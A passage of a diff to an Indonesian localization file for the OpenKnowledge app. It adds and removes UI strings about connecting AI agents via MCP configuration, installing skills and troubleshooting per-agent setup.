di mesin ini"],"EDl9kS": ["Berlangganan"],"EDm3wJ": ["Memuat perender perbedaan"],"EEYbdt": ["Terbitkan"],@@ -1205,6 +1245,7 @@"EvPX7f": ["Membuka pemilih folder untuk memilih tempat mengkloning repositorinya."],"EvXKHE": ["OpenKnowledge mencari di basis pengetahuan"],"Evq3lu": ["Mode yatim"],+ "Evsh6U": ["Dokumen Anda tidak diubah."],"ExPiRQ": ["Pergi ke diagnostik lint CodeMirror berikutnya."],"ExUzM4": ["keterampilan \"", ["0"], "\""],"F-1xhe": [@@ -1238,7 +1279,6 @@"FEqWFL": ["Memandu agen AI Anda tentang cara bekerja di sini."],"FEr96N": ["Tema"],"FF7V5K": ["Ukuran Sebenarnya"],- "FK57sK": ["integrasi MCP ", ["names"], " diperbaiki"],"FKVmcC": ["Pengaturan untuk proyek ini. Sebagian dibagikan ke setiap kolaborator lewat git; sisanya hanya berlaku di komputer ini."],@@ -1335,6 +1375,12 @@"File .mdx apa pun. Formatnya hanya .md saja, sehingga pembaca yang memindai .md tidak akan pernah membukanya — dan jika ada .md dengan nama yang sama, maka yang dibaca adalah yang tersebut."],"GSYWCm": ["Sembunyikan panel dokumen"],+ "GTvYzA": [+ ["dependent"],+ " memerlukan ",+ ["prerequisite"],+ ", yang tidak dapat disiapkan OpenKnowledge untuk Anda. Panduan penyiapannya berisi langkah-langkah manual."+ ],"GU1Y4A": ["Mode hanya lokal diminta, tetapi tidak ada repositori git yang dibuat. Anda dapat menggantinya nanti lewat Pengaturan → Sinkronisasi & berbagi setelah proyek berada di repositori git."],@@ -1402,6 +1448,11 @@],"H86f9p": ["Ciutkan"],"H8DVOJ": ["Identik di keduanya — ", ["pick"], " tetap membacanya."],+ "H8tj8y": [+ "Penyiapan ini dibagikan dengan ",+ ["peers"],+ ", dan OpenKnowledge tidak dapat mengubahnya dari sini. Lepaskan tautan folder di Skills Studio terlebih dahulu."+ ],"HAkEqR": ["Berkas terbaru"],"HAvHev": ["Pembaruan otomatis mati untuk \"", ["name"], "\""],"HAvRAI": [["skillCount", "plural", { "other": ["keterampilan"] }]],@@ -1418,9 +1469,6 @@"Slidev belum terpasang, jadi aksi Slidev tetap tersembunyi. Pasang, lalu kembali ke jendela ini."],"HSI88F": ["Hapus tabel"],- "HTW0Zw": [- "Satu langkah lagi: jalankan <0>claude</0> di proyek ini dan setujui OpenKnowledge sekali."- ],"HZ7fEu": ["Nama tema"],"HbcQYf": ["Ganti symlink di ",@@ -1617,6 +1665,7 @@"KPW5WC": ["templat dipindahkan"],"KQGZuq": ["Dipakai ulang jika sudah ada, dibuat jika belum."],"KRJ6xh": ["Belum ada tag. Lanjutkan mengetik untuk membuat satu."],+ "KTxoDA": ["OpenKnowledge tidak mengenali entri ini. Mengaktifkannya akan menggantinya."],"KUjOb9": ["berjalan"],"KWL_Ih": ["Pos blog"],"KX1MZR": ["Repositori Anda"],@@ -1654,6 +1703,7 @@"KsAPaB": ["Cabang ini sedang dipakai di:"],"KtACeE": ["Bawaan: <0>", ["0"], "</0>"],"KujtjC": ["Cari"],+ "Kuw5NN": ["Cara menyiapkan ", ["rowLabel"]],"KvwJv8": ["Sebagian file tidak ditampilkan: working tree memiliki terlalu banyak perubahan."],"Kx881F": [["0"], " dipulihkan."],"L-rMC9": ["Setel ulang ke bawaan"],@@ -1712,7 +1762,6 @@"L_mqhg": ["(", ["0", "plural", { "other": ["#", " percobaan"] }], ")"],"LaskKp": ["Kirim ke obrolan (", ["0"], ")"],"Lbl6KA": ["Tidak bisa memasang dari ", ["0"], ": ", ["1"]],- "LbmLyU": ["Konfigurasi alat ini tidak bisa disunting dengan aman"],"LdABLa": [["target"], " tidak dapat dibuka. Coba buka secara manual."],"LdKIHS": ["Susun spesifikasi"],"LeGeTf": ["OpenKnowledge di GitHub"],@@ -1739,6 +1788,7 @@"Lrsl_h": ["File ", ["identity"], " tidak ditemukan. Buka referensi."],"LtI9AS": ["Pemilik"],"LtSYdi": ["Tampilkan di Finder"],+ "LtiJ5c": ["Keterampilan proyek"],"LuoJWu": [["truncatedShownCount",@@ -1850,9 +1900,6 @@"NIWAux": ["Tidak ada dokumen yang terdaftar di bawah #", ["tagDocsName"], "."],"NJyQi_": ["Cabang ", ["shareBranch"], " sudah tidak ada di remote."],"NKkZXl": ["Inisialisasi dan buka"],- "NNJsn7": [- "Satu langkah lagi: aktifkan di Cursor → Settings → Tools & MCP (Cursor membiarkan server proyek mati sampai Anda menyalakannya)."- ],"NOHyEE": ["Coba push lagi"],"NORKZU": ["Peringatan pola: ", ["summary"]],"NQ8llq": ["Tambahkan item"],@@ -1912,7 +1959,6 @@"O0Z2Xr": ["Keluar"],"O2UpM1": ["Telusuri"],"O3oNi5": ["Surel"],- "O4PnDd": ["Pengelolaan alat AI hanya tersedia di aplikasi desktop OpenKnowledge."],"O6H89R": ["Selesai"],"O6yEPk": ["Membuat proyek OpenKnowledge baru di folder pilihan Anda."],"O7_W_a": ["Buka dengan AI"],@@ -1977,7 +2023,6 @@"OlFVNr": ["Tanya AI tentang Pilihan"],"Oo_WWc": ["Tidak ada halaman yang ditemukan"],"Oos8fo": ["Salin perintah"],- "OplnBG": ["Pengelolaan alat AI tidak tersedia pada build ini."],"OqqecQ": ["30 detik"],"OsSaYm": ["Kloning gagal: ", ["title"]],"OuQezS": ["Berlaku saat Anda melanjutkan percakapan ini"],@@ -2005,6 +2050,11 @@"P6gXB-": ["Ganti ", ["keyName"]],"P6lAT3": ["Folder tujuan: ", ["linkTitle"], ". Klik untuk membuka ikhtisarnya."],"P8AnMN": ["Mencari Slidev"],+ "P9rQN2": [+ "Baris terminal dan desktop untuk ",+ ["label"],+ " berbagi satu pengaturan, jadi menghubungkan salah satu menghubungkan keduanya."+ ],"PB4upl": ["Cari kecocokan sebelumnya"],"PBQwGb": ["Cari berkas, perintah, proyek, dan tindakan serah terima AI. Kombinasi K justru menambahkan tautan bila ada teks terpilih di penyunting visual; kombinasi P selalu membuka palet perintah."@@ -2101,6 +2151,7 @@"QDZbvN": [["diffDays"], " hr lalu"],"QGWzup": ["Memuat keterampilan OpenKnowledge"],"QHCx0c": ["Riwayat laporan bug"],+ "QHcLEN": ["Terhubung"],"QIrBIx": ["Bentangkan semua berkas"],"QIzioS": [["agentName"], " tidak menerima lampiran gambar."],"QKgePK": [["editor"], " diselaraskan dengan sumbernya (bitanya sudah dicadangkan)"],@@ -2162,6 +2213,7 @@"RD6H9q": ["Open Knowledge menulis ulang file index.md ini seiring perubahan dokumen, sehingga pengeditan manual pada file tersebut diganti."],+ "RD8cCw": ["Pengelolaan koneksi agen tidak tersedia di build ini."],"RDjuBN": ["Penyiapan"],"RDrXh4": ["Atur pengaturan pengguna, proyek, dan integrasi."],"REkvLz": [@@ -2195,6 +2247,7 @@"RSqaSd": ["Akar proyek"],"RVZJWQ": ["Cari proyek..."],"RXEbZy": ["Di aplikasi"],+ "RXYvxn": ["Opsi ini tidak dapat diubah secara otomatis."],"RY6Bq1": ["Buka ", ["targetNoun"], " yang dibagikan"],"RZXTlY": ["Perbaikan otomatis (", ["count"], ")"],"R_U_A4": ["Tambahkan pola berkas atau folder, mis. guides/**/*"],@@ -2238,6 +2291,9 @@"S33tz3": ["Tidak terhubung"],"S3qu11": ["Itu hanya percobaan atau proyek sekali pakai"],"S48xcO": ["tertunda"],+ "S6SbxA": [+ "Mengganti entri \"open-knowledge\" yang ada di file ini. Server lain dalam file ini tidak diubah."+ ],"S6eHlw": ["Buka proyek terlebih dahulu."],"S6l5dv": ["Pembuatan item baru tidak dapat dimulai"],"S9Vnum": ["Hapus ", ["patternText"]],@@ -2473,7 +2529,6 @@"VFQXPl": ["Pratinjau tautan eksternal menampilkan kartu berisi nama situs, judul halaman, dan deskripsi saat Anda mengarahkan kursor ke sebuah tautan."],- "VIwCaD": ["Entri"],"VJaBca": ["Pilih folder keterampilan"],"VL6VsE": ["Terima yang sekarang"],"VM7H66": ["Berkas ini biner dan tidak bisa ditampilkan sebagai teks."],@@ -2548,6 +2603,7 @@"W9NSe0": ["Memeriksa tautan"],"W9_Bub": ["Perubahan lokal bertumpang tindih dengan sinkronisasi yang masuk"],"WBNpt9": ["Tema ini tidak dapat dibaca (", ["0"], ")"],+ "WEYdDv": ["Direkomendasikan"],"WFEbV1": ["Menandai masalah markdown yang umum di penyunting. Ditenagai <0>markdownlint<1/></0>."],@@ -2621,19 +2677,19 @@"XBBZnv": ["Target tautan \"", ["shown"], "\" tidak merujuk ke dokumen yang ada."],"XBgr2S": ["Salin ke sini"],"XDzAnp": ["Terbuka di tab baru"],- "XEfNPL": [- "Terpasang — ok tersedia di terminal eksternal. Menghapus centang akan menghapusnya; alat AI Anda tetap berfungsi."- ],"XF1kgP": ["Semua dari ", ["source"], " sudah yang terbaru"],- "XFpEgc": [- "Pilih agen mana yang muncul di menu agen di seluruh aplikasi, seperti Ask AI, Open with AI, dan tombol + obrolan baru. Nonaktifkan agen untuk menyembunyikannya dari semuanya."- ],"XGKy1z": ["Gambar tidak dapat ditampilkan"],"XH30C4": ["dokumen"],"XIltnd": ["Keterampilan bernama \"", ["trimmed"], "\" sudah ada di sini"],"XJOV1Y": ["Aktivitas"],"XK5cbh": ["Menyusuri riwayat navigasi OpenKnowledge ke depan."],"XNBGZw": ["Pesan tidak terkirim: ", ["0"]],+ "XNdXMR": [+ ["dependent"],+ " memerlukan ",+ ["prerequisite"],+ ", dan agen ini belum memiliki file jenis itu di mesin ini. Buka agen sekali, lalu coba lagi."+ ],"XPJ0sN": ["Properti ", ["settingsDescriptorLabel"]],"XPqe3B": ["Buat tag baru #", ["tagValue"]],"XRuL0i": ["Buat halaman"],@@ -2683,6 +2739,12 @@"Xp7Kq4": ["Operasi sinkronisasi lain sedang berjalan. Coba lagi sebentar."],"Xp94R1": ["Coba sekali lagi"],"XpIZmv": ["Blok kode berpagar dengan teks monospasi."],+ "XrPvMT": [+ ["dependent"],+ " memerlukan ",+ ["prerequisite"],+ ", dan OpenKnowledge tidak dapat mengganti entri tersebut dengan aman dalam format file ini."+ ],"Xs1kjx": ["Periksa pembaruan setiap"],"Xs7IcT": ["Tidak dapat menghubungi ", ["displayName"], ". Coba lagi?"],"XszXjc": ["Diganti nama menjadi ", ["0"]],@@ -2702,6 +2764,7 @@["pickedRelative"],"</1>, karena folder itu memuat folder <2>.git</2> (satu .ok/ per repo git). <3>Direktori konten</3> secara bawaan adalah <4>.</4> (seluruh repo); ketik sebuah subfolder untuk mempersempitnya."],+ "Y1wa2r": ["Hapus OpenKnowledge?"],"Y2tU6I": ["Hapus ", ["0"]],"Y5la_5": ["Pasang ke"],"Y6PKd1": ["Hapus ", ["name"], " dari proyek terbaru"],@@ -2828,9 +2891,6 @@"ZWwYwM": ["Cabang dasar"],"ZWxfrc": ["properti folder dibersihkan"],"ZWyHmq": ["Proyek ini"],- "ZYtq3m": [- "Hubungkan alat AI yang Anda pakai ke proyek ini secara khusus. Berkas-berkas ini ada di folder proyek, jadi siapa pun yang membukanya mendapat penyiapan yang sama."- ],"Z_nNa2": ["Beri nama tema Anda"],"ZatAO_": ["Gagal mengaktifkan pratinjau tautan — ", ["detail"]],"Zf0w-R": [@@ -2869,7 +2929,6 @@["label"]," alih-alih milik plugin — salinan itu berhenti mengikuti pembaruan plugin."],- "_5qBNl": ["Alat AI & CLI"],"_6FVBz": ["Lompat ke tab 1-8"],"_7UQ7y": ["Kata utuh"],"_8quCH": ["Dari templat"],@@ -2881,6 +2940,7 @@["currentLabel"],"</1>."],+ "_9rYSZ": ["integrasi MCP ", ["names"], " diperbaiki"],"_Bix3-": ["Kemunculan ", ["localizedFirstMessage"]],"_DwR-n": ["Membuat…"],"_G7A92": ["Pertahankan index.md"],@@ -2892,7 +2952,6 @@"_JOGC0": ["Kirim masukan…"],"_LczaQ": ["Ditolak — ", ["optionName"]],"_NWEid": ["Cari berkas skema berdasarkan jalur"],- "_NX6gG": ["Pengelolaan alat AI proyek tidak tersedia pada build ini."],"_O7dJS": ["Versi berbeda di sini — klik untuk membandingkan dan menyelesaikannya"],"_PACVa": ["Catatan rilis"],"_PBJRl": ["Tambahkan setidaknya satu huruf atau angka."],@@ -2920,6 +2979,9 @@"_ci9Bj": ["Server mengembalikan respons folder yang tidak lengkap."],"_eguJc": ["Mengunggah"],"_fQGOp": ["Spasi tidak diperbolehkan di jalur"],+ "_fZSIY": [+ "OpenKnowledge tidak mengubah file ini karena tidak dapat mengurainya dengan aman. Perbaiki file secara manual, lalu coba lagi."+ ],"_gO_m8": ["Menunggu persetujuan Anda"],"_gkGSK": ["templat dihapus"],"_pY_Vq": ["Repositorinya dipindahkan, diganti nama, atau dihapus."],@@ -2927,6 +2989,7 @@"_rP3HI": [["minutes"], " mnt lalu"],"_tekeB": ["properti folder diperbarui"],"_tjopj": ["Tempel gandaan"],+ "_uxBz5": ["Tambahkan MCP & keterampilan untuk ", ["rowLabel"]],"_yB-24": ["semua yang ada di folder ", ["0"], "/ mana pun"],"a-cKXz": ["Pilih seluruh sumber"],"a3LDKx": ["Keamanan"],@@ -3053,6 +3116,7 @@"\" sebelum menyambung ulang."],"bnOTEz": ["Mengambil…"],+ "bn_MDX": ["Mengapa ini perlu diperhatikan"],"bpMVIA": ["Target tautan \"",["shown"],@@ -3178,6 +3242,7 @@"d3dX3w": ["Cari \"", ["word"], "\""],"d5rK4X": [["chars", "plural", { "other": ["karakter"] }]],"d6qW27": [["agentName"], " melaporkan: ", ["headline"]],+ "dCforW": ["Gagal menulis file ini. Periksa log OpenKnowledge untuk mengetahui alasannya."],"dD7NPy": ["Kerangka"],"dDpCOp": ["Penggantian nama berhasil tetapi bilah sisi mungkin tidak mutakhir — segarkan untuk menyinkronkan ulang"@@ -3191,6 +3256,7 @@["currentBaseLabel"],"</1>, di worktree tersendiri di bawah <2>.ok/worktrees/</2>."],+ "dGcsnU": ["Hapus untuk keduanya"],"dIYSqk": ["remote"],"dJw2_7": ["Disimpan bersama proyek untuk tim Anda."],"dMsx3p": ["Halaman utama dan pusat navigasi."],@@ -3205,6 +3271,9 @@"dVaXnv": ["Aturan konten belum dimuat — coba lagi sebentar"],"dXCi3J": ["Ada yang rusak"],"dXOolp": ["Menyinkronkan perubahan Anda"],+ "da7Yfw": [+ "Tindakan ini menghapus entri server MCP dan file keterampilan yang tercantum di bawah. Agen akan kehilangan akses ke dokumen Anda sampai Anda menambahkannya lagi."+ ],"darW93": [["pageCount",@@ -3289,6 +3358,7 @@],"eh3QBq": ["Papan Excalidraw gagal dimuat."],"eiUA4k": [["count", "plural", { "other": ["#", " komentar"] }]],+ "ejiJeW": ["Keterampilan penemuan OpenKnowledge"],"ekSPiP": [["0"], " sudah dihapus."],"el2KyL": ["Slidev ditemukan di proyek ini. Dek akan memakai versi proyek."],"emMrXQ": ["Server mengembalikan respons duplikasi yang salah bentuk."],@@ -3304,6 +3374,7 @@"euc6Ns": ["Gandakan"],"evs0iw": ["Tag yang cocok dengan \"", ["tagListQuery"], "\""],"ewSbS_": ["Sesi shell"],+ "ewlFNL": ["Perbaikan otomatis MCP gagal untuk ", ["failures"]],"ezUmoU": ["Nilai elemen yang diizinkan (kosong = apa saja)"],"f-k37b": ["Pasang keterampilan ini"],"f1-q9m": ["menyimpan keterampilan"],@@ -3358,6 +3429,23 @@"fj5YiP": ["Mengunduh salinan baru dari GitHub."],"fnlBN4": ["Pengaturan persetujuan otomatis belum dimuat — coba lagi sebentar"],"fo6CCk": ["panel ", ["0"]],+ "followup.approve-once": [+ "Satu langkah lagi: jalankan ",+ ["agent"],+ " di proyek ini dan setujui OpenKnowledge sekali."+ ],+ "followup.enable-manually": [+ "Satu langkah lagi: aktifkan di ",+ ["agent"],+ " → Settings → Tools & MCP (",+ ["agent"],+ " membiarkan server proyek mati sampai Anda menyalakannya)."+ ],+ "followup.trust-gated": [+ "Terhubung otomatis lain kali Anda membuka proyek ini di sesi ",+ ["agent"],+ " tepercaya."+ ],"fqSfXY": ["Ganti"],"ft-BOm": ["Laporkan bug…"],"fuJZKk": ["Cari cabang"],@@ -3365,6 +3453,15 @@"fwhX-N": ["Tambah atau kurangi indentasi sumber"],"fwrPh4": ["Silakan masukkan surel yang valid."],"fxbCNQ": ["Tersinkron. Tautannya sudah mutakhir."],+ "fybwfg": [+ "Konfigurasi ini dibagikan dengan ",+ ["peers"],+ " melalui <0>",+ ["path"],+ "</0>. Menghapusnya di sini juga menghapusnya untuk ",+ ["peers"],+ "."+ ],"g-dkjJ": ["Detail berkas lokal belum tersedia."],"g12y1g": ["YAML tidak valid"],"g1ZTh_": [@@ -3374,7 +3471,6 @@{ "other": ["Yakin ingin menghapus ", "#", " berkas/folder berikut beserta isinya?"] }]],- "g4WlQK": ["Pengelolaan alat AI proyek hanya tersedia di aplikasi desktop OpenKnowledge."],"g4XBm0": ["Judul bagian kecil."],"g4e0hS": ["Tanya ", ["agentName"]],"g58Kwy": [@@ -3442,6 +3538,7 @@"gfb-CM": ["Cabang tidak dapat diambil — masuk ke GitHub lalu coba lagi."],"gfdqcY": ["Perubahannya tidak bisa diterapkan: ", ["0"]],"gfohmY": ["Hubungkan alat"],+ "ggMMa7": ["Server MCP proyek"],"ggm6JX": ["Halaman ini belum ada. Buka untuk membuat halamannya di penyunting dan menciutkan graf."],@@ -3460,6 +3557,40 @@"gpbKxw": ["Validasi tautan tidak tersedia."],"gqk-3R": [["0"], " dipindahkan ke ", ["destination"], "."],"gtEbeW": ["Sorotan"],+ "guidance.mcp.managed-file": [+ "Menulis berkas jembatan kecil yang dimuat ",+ ["agent"],+ " dari proyek ini untuk menjangkau OpenKnowledge."+ ],+ "guidance.mcp.project-config": [+ "Menambahkan OpenKnowledge ke konfigurasi MCP yang dibaca ",+ ["agent"],+ " di proyek ini, sehingga ia dapat membaca, mencari, dan mengedit dokumen-dokumen ini."+ ],+ "guidance.mcp.session-injection": [+ ["agent"],+ " menerima alat OpenKnowledge setiap kali OpenKnowledge menjalankannya; tidak ada yang ditulis ke konfigurasinya."+ ],+ "guidance.mcp.user-config": [+ "Menambahkan OpenKnowledge ke konfigurasi MCP milik ",+ ["agent"],+ ", sehingga semua proyek di mesin ini dapat dijangkau."+ ],+ "guidance.skill.central-store": [+ "Menempatkan keterampilan OpenKnowledge di penyimpanan keterampilan pusat yang dibaca ",+ ["agent"],+ "."+ ],+ "guidance.skill.project": [+ "Menempatkan keterampilan OpenKnowledge di folder keterampilan ",+ ["agent"],+ " untuk proyek ini, sehingga suntingannya tetap teratribusi."+ ],+ "guidance.skill.user": [+ "Menempatkan keterampilan penemuan OpenKnowledge di folder keterampilan global ",+ ["agent"],+ ", sehingga ia dapat menemukan OpenKnowledge di proyek mana pun."+ ],"gv5w9J": ["pemilik/repo, sebuah URL git, atau jalur lokal"],"gvApb7": ["Ubah apa yang Anda baca menjadi artikel yang jelas dan tepercaya. Simpan sebuah sumber, cari tahu maknanya, lalu simpan versi finalnya agar bisa Anda andalkan nanti."@@ -3474,6 +3605,14 @@"h06R3C": ["Tidak ada halaman yang kehilangan tautan graf keluar."],"h16FyT": ["Daftar"],"h2N-1n": ["Terpasang di ", ["0"]],+ "h2QPvj": [+ ["dependent"],+ " memerlukan ",+ ["prerequisite"],+ ", dan OpenKnowledge tidak mengenali entri tersebut. Centang ",+ ["prerequisite"],+ " untuk menggantinya, lalu simpan lagi."+ ],"h3QZcB": ["Cabang bernama ",["shareBranch"],@@ -3592,7 +3731,6 @@"iH8pgl": ["Kembali"],"iHAJDj": ["Menentukan lokasi bawaan"],"iIaSUD": ["Spasi"],- "iKS6gg": ["Keterampilan dipindahkan ke Studio Keterampilan."],"iKSP5j": ["Bungkus baris"],"iKZkk1": ["Nilai properti"],"iKvAeG": ["Memeriksa"],@@ -3641,6 +3779,7 @@"ij-Elv": ["Pratinjau gambar"],"ijLc3m": ["Daftar berpoin"],"ilodsp": ["Biarkan agen memakai OpenKnowledge tanpa bertanya"],+ "inJhKB": ["Ganti dan simpan"],"ioMn4Z": ["Baru dari Templat…"],"iodl3p": ["Server mengembalikan respons unggahan yang salah bentuk."],"ipCibE": ["Nama folder kosong tidak diperbolehkan (//)"],@@ -3656,6 +3795,7 @@"irnKr_": ["Diperbarui ", ["updatedRelative"]],"irrm_E": ["Hapus pilihan"],"isRobC": ["Baru"],+ "itchkf": ["Menghubungkan agen ke OpenKnowledge di setiap proyek pada mesin ini."],"iuTKci": ["Belum ada suntingan."],"iv452l": ["Dokumentasi untuk ", ["0"], " (terbuka di peramban)"],"iycx_A": ["Melakukan push"],@@ -3836,6 +3976,7 @@"kfL8BJ": ["Impor gagal: ", ["0"]],"kj9pAE": ["Membuat halaman"],"kjlQ9D": ["menjadi tautan simbolik"],+ "kjrq_8": ["Informasi selengkapnya"],"kknhfj": ["Tidak ada perubahan"],"kkux8f": [["0"], " tidak dapat dihapus. Coba lagi."],"klPS-L": ["Berkas asli — sebelum suntingan agen ini."],@@ -3894,6 +4035,7 @@"l87Deg": ["Pilih apa yang dimulai tab baru"],"l9s3IX": [["agentName"], " tidak dapat memulai percakapan."],"lAiyU_": ["Hanya dokumen saat ini yang memakai <0>#", ["tag"], "</0>."],+ "lBN3T6": ["Koneksi agen"],"lCC_D5": ["Berlangganan..."],"lGs_bQ": ["Halaman <0>*</0>"],"lHCR4I": ["Kosongkan bidang ini untuk kembali ke endpoint OpenAI bawaan."],@@ -3975,9 +4117,6 @@"mHo0kp": ["Permintaan untuk mengaktifkan alat Open Knowledge kedaluwarsa. Utas ini berjalan tanpa alat itu."],- "mLAjyL": [- "Beri alat AI yang Anda pakai akses untuk membaca dan memperbarui proyek Anda. Mencentang kotak langsung menyiapkannya; melepas centang menghapusnya."- ],"mPoOmg": ["instal dulu sebuah skill di sini"],"mPy9lS": ["Tata spesifikasi saya yang sudah ada menjadi indeks tertaut yang dikelompokkan per bidang, dan tandai mana saja yang sudah tidak selaras dengan kode saat ini."@@ -3997,6 +4136,7 @@"Belum ada pola. Ketik nama folder atau berkas di bawah untuk mulai menyembunyikan berkas."],"mdKFEy": ["Anda membatalkan pemuatan \"", ["docName"], "\"."],+ "mdWhUY": ["OpenKnowledge tidak menemukan agen ini di mesin ini."],"mdzKSV": [["nodeCount", "plural", { "other": ["#", " simpul"] }]],"mf37rL": ["Mencoba lagi"],"mg0YGL": ["Multikursor dan multipilihan di sumber"],@@ -4053,6 +4193,7 @@"mxY24F": ["Menggandakan item pohon berkas yang difokus ketika fokus ada di bilah sisi Berkas."],+ "n11Jj7": ["Menginstal keterampilan proyek OpenKnowledge untuk agen ini."],"n2XqGH": ["panel editor"],"n2lRue": ["Lakukan commit atau stash pada perubahan untuk berpindah:"],"n3T3EE": ["Terpasang di ", ["label"], " — klik untuk menghapus"],@@ -4068,7 +4209,6 @@],"n7aopT": ["Mode penyunting"],"n81AV0": [["owner"], "/", ["name"], " sudah ada. Pilih nama lain."],- "n8DwqQ": ["Terhubung otomatis lain kali Anda membuka proyek ini di sesi Codex tepercaya."],"nBHvPL": ["Batalkan penyuntingan"],"nBgzKO": ["Jadikan ini sumbernya — folder asli keterampilan ini pindah ke sini"],"nCzR-G": ["Salin kode ", ["userCode"]],@@ -4127,6 +4267,9 @@"nsM-_m": ["Jelajahi ratusan tema"],"nsUDL8": [["0"], " dari ", ["1"], " proyek dipilih"],"nskygk": ["Pilih agen"],+ "nta97o": [+ "Memberi agen instruksi untuk bekerja dengan dokumen Anda dan menjaga suntingannya tetap teratribusi."+ ],"nwtY4N": ["Ada yang tidak beres"],"nxlOpL": ["OpenKnowledge memakai akun GitHub ini."],"ny6vNn": [@@ -4192,6 +4335,9 @@"\" tidak dapat dibersihkan. Muat ulang untuk mencoba lagi."],"oxdGJn": ["Sebelum pergi, boleh cerita kenapa?"],+ "oxj8er": [+ "Menghubungkan agen ke proyek ini agar dapat membaca, mencari, dan mengedit dokumen Anda."+ ],"oy5bJW": ["Anda dapat menambahkan"],"oyBV3W": ["Jalur folder keterampilan khusus"],"p0Iq25": ["Sisipkan tautan"],@@ -4269,7 +4415,6 @@["2"],"”. Apa pun di SKILL.md yang menunjuk ke berkas itu akan rusak sampai dibuat ulang."],- "psfGPX": ["Koneksi MCP"],"psl2Sj": ["Perubahan Anda masih disimpan — jalankan pengujiannya lagi sebentar."],"ptQ3_N": ["lepas tautan"],"pvnfJD": ["Gelap"],@@ -4283,6 +4428,7 @@"q4YJl_": ["Sesi terminal berakhir (kode keluar ", ["0"], ")."],"q4efaG": [["filePath"], " sudah tidak ada di skill ini"],"q6-JVU": ["Memuat halaman"],+ "q63KUv": ["Tambahkan MCP & keterampilan"],"q7F5am": ["judul"],"q8aCbb": ["Dua versi \"", ["0"], "\" — sumber melawan ", ["editor"]],"qAQVSD": ["Respons judul halaman bukan JSON"],@@ -4338,10 +4484,12 @@"qlAIQ1": ["Remote"],"qo4zCg": ["Jalur tidak boleh memuat garis miring terbalik"],"qpQwGC": ["Jelaskan apa yang sedang Anda kerjakan dan agennya akan menyiapkannya untuk Anda."],+ "qr2gAH": ["Pilih apa yang disiapkan OpenKnowledge untuk ", ["0"], "."],"qribBG": ["skema ", ["deleteTarget"]],"qtnmEX": ["Masukkan nama tema yang valid."],"qvWGzP": ["Ciutkan semua"],"qyLmWw": ["Panel pencarian penyunting sumber"],+ "qze9od": ["Folder ini juga milik ", ["alsoAffects"], "."],"r-OJYm": ["Masukkan nama cabang yang valid (tanpa spasi, tanpa titik di awal, tanpa \"..\")."],"r2eKE3": ["Masuk dulu ke ", ["agentName"]],"r4R7AZ": ["Galat jaringan saat pembersihan"],@@ -4435,6 +4583,9 @@"s1c0ja": ["Daftar Berpoin"],"s3caR3": ["Menghapus"],"s7us1p": ["Hanya gambar PNG, JPEG, atau WebP yang diizinkan."],+ "s8difl": [+ "Tanpa keterampilan ini agen tetap berfungsi, tetapi kehilangan atribusi suntingan dan pratinjau langsung."+ ],"sAP9XO": ["Plugin ", ["0"], " · ", ["1"]],"sE7R19": ["Templat tidak dapat dimuat: ",@@ -4529,6 +4680,9 @@"tA0b9E": ["folder keterampilan bawaan (jalur persisnya muncul setelah disimpan)"],"tA2-xC": ["\"", ["0"], "\" sudah ditambahkan sebelumnya (isinya sama)."],"tAPZEx": ["Di bawah"],+ "tCE-ZH": [+ "OpenKnowledge tidak mengenali entri ini, dan tidak dapat menggantinya dengan aman dalam format file ini."+ ],"tCyvAw": ["Lampirkan berkas"],"tHKQ6j": ["Mengganti nama"],"tKlWWY": ["Emoji"],@@ -4570,6 +4724,53 @@"tnG-m6": ["Sinkronisasi otomatis dijeda — masuk untuk melanjutkan."],"toyw51": ["Kendali diagram Mermaid"],"tqQBwN": ["Skrip apa pun ditampilkan untuk ditinjau, tidak pernah dijalankan."],+ "troubleshooting.claude-desktop.per-tool-approval": [+ ["agent"],+ " meminta Anda menyetujui setiap alat OpenKnowledge saat pertama kali digunakan."+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ "Jika ",+ ["agent"],+ " tidak menampilkan alat OpenKnowledge, jalankan di proyek ini dan setujui server OpenKnowledge sekali."+ ],+ "troubleshooting.codex.desktop-project-config": [+ "Aplikasi desktop ",+ ["agent"],+ " mengabaikan konfigurasi proyek ini; hanya CLI ",+ ["agent"],+ " yang membacanya."+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ ["agent"],+ " membaca konfigurasi MCP ruang kerja yang ditulis OpenKnowledge untuk ",+ ["sourceAgent"],+ "; menghapusnya untuk satu berarti menghapusnya untuk keduanya."+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ "Jika ",+ ["agent"],+ " tidak menampilkan alat OpenKnowledge, nyalakan server di Settings → Tools & MCP; ",+ ["agent"],+ " membiarkan server proyek mati sampai Anda melakukannya."+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ "Jika ",+ ["agent"],+ " tidak menampilkan alat OpenKnowledge, periksa apakah jalur konfigurasi MCP di pengaturannya cocok dengan berkas yang ditulis OpenKnowledge."+ ],+ "troubleshooting.openclaw.central-store-missing": [+ "Penyimpanan keterampilan pusat ",+ ["agent"],+ " belum ada; jalankan ",+ ["agent"],+ " sekali agar ia membuatnya, lalu coba lagi."+ ],+ "troubleshooting.pi.folder-trust": [+ ["agent"],+ " hanya memuat ekstensi proyek di folder yang Anda percayai; percayai folder ini di ",+ ["agent"],+ " jika alat tidak muncul."+ ],"tsiTqO": ["Tempelkan kunci API Anda"],"tvMvze": ["Tidak dapat memindahkan \\\"",@@ -4626,6 +4827,7 @@"uUCrBv": ["symlink"],"uV3EYs": ["Gambar Anda"],"uVbUP8": ["Pengaturan…"],+ "uVhq9B": ["Menginstal keterampilan penemuan OpenKnowledge untuk agen ini."],"uX85yl": ["Berkas penyiapan mencakup: <0>.ok/</0>, konfigurasi MCP alat AI (<1>.mcp.json</1> dan berkas tiap alat). Keterampilan Anda tidak termasuk: semuanya mengikuti git seperti berkas lain di proyek ini.<2/><3>Dibagikan</3> melakukan commit ke git, jadi siapa pun yang mengkloning repo mendapat penyiapan yang sama. <4/><5>Hanya saya</5> menahannya keluar dari git (lewat <6>.git/info/exclude</6>)."],@@ -4741,6 +4943,9 @@"vy_VIN": ["Dilacak di git — pembaruan mengalir lewat repo Anda (pull atau CI), bukan pembaruan otomatis"],+ "vyjTYE": [+ ["changeCount", "plural", { "one": ["#", " perubahan"], "other": ["#", " perubahan"] }]+ ],"w0YVAE": ["Tampilkan simpul keterampilan"],"w3tVpc": ["Belum ada tautan. Tambahkan tautan wiki atau tautan markdown untuk membangun sebuah graf."@@ -4778,6 +4983,7 @@"wQp1V3": ["Cermin dari <0>", ["src"], "</0>"],"wQvvZY": ["Berkas keterampilan baru"],"wRni1Z": ["Nonaktifkan Slidev"],+ "wSBXaS": ["Kelola 